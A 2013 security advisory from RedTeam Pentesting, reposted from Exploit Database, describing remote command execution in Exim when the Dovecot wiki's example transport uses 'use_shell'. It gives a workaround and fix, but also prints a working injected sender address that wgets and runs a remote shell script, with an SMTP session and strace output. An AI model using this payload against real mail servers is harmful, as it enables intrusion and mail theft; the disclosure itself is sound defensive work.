Dovecot with Exim – ‘sender_address’ Remote Command Execution

• Exploit Database
• 11 阅读

• 作者： RedTeam Pentesting GmbH
  日期： 2013-05-07
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/25297/

• Advisory: Exim with Dovecot: Typical Misconfiguration Leads to Remote
  Command Execution
  
  During a penetration test a typical misconfiguration was found in the
  way Dovecot is used as a local delivery agent by Exim. A common use
  case for the Dovecot IMAP and POP3 server is the use of Dovecot as a
  local delivery agent for Exim. The Dovecot documentation contains an example
  using a dangerous configuration option for Exim, which leads to a remote
  command execution vulnerability in Exim.
  
  
  Details
  =======
  
  Product: Exim with Dovecot LDA and Common Example Documentation
  Affected Versions: Example Configuration in Dovecot Wiki since
   2009-10-23
  Vulnerability Type: Remote Code Execution
  Security Risk: HIGH
  Vendor URL: http://www.exim.org http://www.dovecot.org
  Vendor Status: notified
  Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2013-001
  Advisory Status: public
  
  
  Introduction
  ============
  
  Dovecot is an open source IMAP and POP3 server. Dovecot is used both for
  small and large installations because of its good performance and simple
  administration. Exim is a message transfer agent developed at the
  University of Cambridge, freely available under the terms of the GNU
  General Public Licence. Both services are commonly used in tandem with
  each other. Dovecot is often configured in Exim to handle mail delivery to
  mailboxes.
  
  The Dovecot wiki contains an example configuration for Exim to have
  Dovecot handle mail delivery in conjunction with LDAP. Using Dovecot as
  a local delivery agent (LDA) for Exim is a common use case for an
  Exim/Dovecot server. The Dovecot wiki, which is also packaged as
  documentation with the Dovecot source packages and many Linux
  distribution packages, contains example configurations for Exim. One
  configuration contains a dangerous option, which leads to a remote
  command execution vulnerability in Exim. Since this configuration
  concerns a very common use case of Dovecot with Exim and is widely
  repackaged in distribution packages, users of Dovecot and Exim should
  check their current configuration of Exim.
  
  
  More Details
  ============
  
  Dovecot and Exim can be used together without any further configuration
  of the Exim mail delivery process. This will result in a configuration,
  where Dovecot can access mails delivered to a mailbox of a user, but
  message filtering through the Dovecot server-side filters is not
  possible.
  
  In order for server-side mail filtering by the Sieve implementation of
  Dovecot to work, Dovecot provides its own local delivery agent (LDA).
  This agent must be added to the Exim delivery configuration as a mail
  transport. To make such a configuration work, Exim offers the
  possibility to use pipe transports[1]. The Exim daemon then hands the
  email messages over to an external program, in this case the Dovecot LDA
  (on Debian GNU/Linux found at /usr/lib/dovecot/deliver).
  
  The Dovecot-Wiki[2] and documentation propose, among others, a
  configuration for using Exim with the Dovecot LDA and multiple UIDs
  which are loaded from an external source, for example LDAP. It is
  assumed that this configuration is often used as a template when
  configuring new email servers, as coupling SMTP and POP3/IMAP servers
  with an external user database like LDAP is common. Furthermore, this
  example configuration is rather detailed. Therefore, it is estimated
  that many administrators based their configuration on this one.
  
  The example transport configuration from the Dovecot wiki is shown
  below:
  ------------------------------------------------------------------------
  dovecot_deliver:
  debug_print = "T: Dovecot_deliver for $local_part@$domain"
  driver = pipe
  # Uncomment the following line and comment the one after it if you
  # want deliver to try to deliver subaddresses into INBOX.{subaddress}.
  # If you do this, uncomment the local_part_suffix* lines in the router
  # as well. Make sure you also change the separator to suit your local
  # setup.
  #command = /usr/lib/dovecot/deliver -e -k -s \
  # -m "INBOX|${substr_1:$local_part_suffix}" \
  command = /usr/lib/dovecot/deliver -e -k -s \
  -f "$sender_address" -a "$original_local_part@$original_domain"
  use_shell
  environment = USER=$local_part@$domain
  umask = 002
  message_prefix =
  message_suffix =
  delivery_date_add
  envelope_to_add
  return_path_add
  log_output
  log_defer_output
  return_fail_output
  freeze_exec_fail
  #temp_errors = *
  temp_errors = 64 : 69 : 70 : 71 : 72 : 73 : 74 : 75 : 78
  ------------------------------------------------------------------------
  
  With the "use_shell" option, Exim is instructed not to start the program
  directly, but rather expand all Exim variables and pass this string to a
  shell afterwards, which then starts the LDA. The content of the variable
  $sender_address can in most standard setups be controlled by an
  attacker, its value is inserted verbatim into the string which is
  supplied to the shell. This enables attackers to execute arbitrary shell
  commands in the name of the Exim system user.
  
  The following conversation with the mail server demonstrates downloading
  and executing a shell script. Since spaces are not accepted within a
  sender email address, ${IFS} can be used instead.
  
  ------------------------------------------------------------------------
  220 host ESMTP Exim 4.72 Mon, 22 Apr 2013 13:22:23 +0200
  EHLO example.com
  250-host Hello localhost [127.0.0.1]
  250-SIZE 52428800
  250-PIPELINING
  250 HELP
  MAIL FROM: red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`team@example.com
  250 OK
  RCPT TO: someuser@example.com
  250 Accepted
  DATA
  354 Enter message, ending with "." on a line by itself
  Subject: test
  
  .
  250 OK id=1UUEqF-0004P8-2B
  ------------------------------------------------------------------------
  
  Attaching and following the Exim process with strace during this example
  conversation results in the following strace output:
  ------------------------------------------------------------------------
  # strace -p $(pgrep Exim4) -s100 -f -q -e execve
  [pid 16962] execve("/usr/sbin/Exim4", ["/usr/sbin/Exim4", "-Mc",
  "1UUEwf-0004PZ-9n"], [/* 26 vars */]) = 0
  [pid 16964] execve("/bin/sh", ["/bin/sh", "-c",
  "/usr/lib/Dovecot/deliver -e -k -s -f 
  \"red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${I"...],
  [/* 14 vars */]) = 0
  [pid 16966] execve("/usr/bin/wget", ["wget", "-O", "/tmp/p",
  "example.com/test.sh"], [/* 14 vars */]) = 0
  [pid 16964] --- SIGCHLD (Child exited) @ 0 (0) ---
  [pid 16967] execve("/bin/bash", ["bash", "/tmp/p"], [/* 14 vars */]) = 0
  [pid 16964] --- SIGCHLD (Child exited) @ 0 (0) ---
  [pid 16968] execve("/usr/lib/Dovecot/deliver", ["/usr/lib/Dovecot/deliver",
  "-e", "-k", "-s", "-f", "redteam@example.com", "-a",
  "someuser@example.com"], [/* 14 vars */]) = 0
  ------------------------------------------------------------------------
  
  This shows that remote command execution is possible in this
  configuration.
  
  In order to reproduce this vulnerability it is sufficient to install
  Exim and Dovecot, then configure the Dovecot LDA as a pipe transport in
  Exim as described by the Dovecot wiki.
  
  This example configuration was added to the Dovecot wiki in 2009 and is
  likely to be used in numerous Exim/Dovecot installations[3]. The Dovecot
  wiki is also contained within the Dovecot source files. The dangerous
  configuration suggesting the "use_shell" option mentioned in the file
  doc/wiki/LDA.Exim.txt.
  
  An example for the widespread use of this configuration example is the
  Debian package "dovecot-common" where this example configuration is
  found in the file /usr/share/doc/dovecot-common/wiki/LDA.Exim.txt.gz[4].
  
  While the redistribution in Debian was verified, it is very likely that
  other distributions also contain this vulnerable configuration example.
  
  
  Proof of Concept
  ================
  
  Sender address which tricks the mail server to download and execute a
  shell script on delivery:
  ------------------------------------------------------------------------
  red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`team@example.com
  ------------------------------------------------------------------------
  
  
  Workaround
  ==========
  
  Users who use Exim in tandem with Dovecot LDA should check their Exim
  transport configuration for the "use_shell" option. In the
  configuration example the "use_shell" option is not necessary and should
  be removed. In this case the mail server directly starts the LDA
  without a shell, as the following output of strace during a delivery
  shows:
  
  ------------------------------------------------------------------------
  [pid 17485] execve("/usr/sbin/exim4", ["/usr/sbin/exim4", "-Mc",
  "1UUFGk-0004Y0-Rb"], [/* 14 vars */]) = 0
  [pid 17487] execve("/usr/lib/dovecot/deliver", ["/usr/lib/dovecot/deliver",
  "-e", "-k", "-s", "-f",
  "red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`team@example.com",
  "-a", "someuser@example.com"], [/* 14 vars */]) = 0
  ------------------------------------------------------------------------
  
  As shown the sender address string is directly passed to the LDA, and
  not expanded by a shell.
  
  
  Fix
  ===
  
  Administrators should check their configuration as described under
  "Workaround".
  
  The dangerous option "use_shell" should be removed from the Dovecot wiki
  and all the source packages. Also, all distribution packages of Dovecot
  that contain this example configuration should be changed to prevent
  users from introducing a remote command execution vulnerability in their
  Exim/Dovecot installation.
  
  
  
  Security Risk
  =============
  
  The documentation on a configuration example for a common use case of
  Dovecot as a local delivery agent for the Exim mail server contains a
  configuration option which leads to a remote command execution.
  Attackers can execute arbitrary shell commands as the user the Exim mail
  server runs as. It is estimated that many administrators based their
  Exim configuration on this example. The resulting vulnerability may be
  used to establish a foothold on a mail server, read users' mails or
  expand access rights via a local exploit. Since this configuration
  example is redistributed with Dovecot packages and describes a common
  use case for Dovecot and Exim, this configuration is considered to be a
  high risk.
  
  
  History
  =======
  
  2013-03-05 Vulnerability identified
  2013-05-02 Vendor notified
  2013-05-02 Vendor confirmed the vulnerability
  2013-05-02 Vendor removed the offending line from the Dovecot wiki
  2013-05-03 Advisory released
  
  
  References
  ==========
  [1] http://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_pipe_transport.html
  [2] http://wiki.dovecot.org/LDA/Exim
  [3] http://wiki.dovecot.org/LDA/Exim?action=diff&rev2=12&rev1=11
  [4] http://packages.debian.org/search?keywords=dovecot-common
  
  
  RedTeam Pentesting GmbH
  =======================
  
  RedTeam Pentesting offers individual penetration tests, short pentests,
  performed by a team of specialised IT-security experts. Hereby, security
  weaknesses in company networks or products are uncovered and can be
  fixed immediately.
  
  As there are only few experts in this field, RedTeam Pentesting wants to
  share its knowledge and enhance the public knowledge with research in
  security-related areas. The results are made available as public
  security advisories.
  
  More information about RedTeam Pentesting can be found at
  https://www.redteam-pentesting.de.
  
  -- 
  RedTeam Pentesting GmbH Tel.: +49 241 510081-0
  Dennewartstr. 25-27 Fax : +49 241 510081-99
  52068 Aachenhttps://www.redteam-pentesting.de
  GermanyRegistergericht: Aachen HRB 14004
  Geschäftsführer: Patrick Hof, Jens Liebchen, Claus R. F. Overbeck